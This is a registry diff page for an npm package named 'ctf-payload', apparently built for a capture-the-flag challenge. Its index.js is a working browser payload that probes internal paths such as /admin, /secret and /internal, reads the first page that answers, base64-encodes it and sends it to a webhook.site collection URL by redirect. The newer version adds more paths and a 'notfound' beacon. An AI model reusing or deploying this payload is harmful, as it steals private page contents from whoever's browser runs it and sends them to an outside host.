ctf-payload 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +5 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,14 +1,17 @@
1
1
  (async()=>{
2
2
  const paths=['/security-dashboard','/local-dashboard','/dashboard',
3
- '/security-panel','/admin','/internal','/local','/secret'];
3
+ '/security-panel','/admin','/internal','/local','/secret',
4
+ '/security','/sec','/board','/view-dashboard','/admin-dashboard'];
4
5
  for(const p of paths){
5
6
  try{
6
7
  const r=await fetch(p);
7
8
  if(r.ok){
8
9
  const t=await r.text();
9
- window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?d='+btoa(unescape(encodeURIComponent(t)));
10
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p='+encodeURIComponent(p)+'&d='+btoa(unescape(encodeURIComponent(t)));
10
11
  return;
11
12
  }
12
13
  }catch(e){}
13
14
  }
15
+ // Nếu không tìm thấy path nào, báo về
16
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p=notfound';
14
17
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"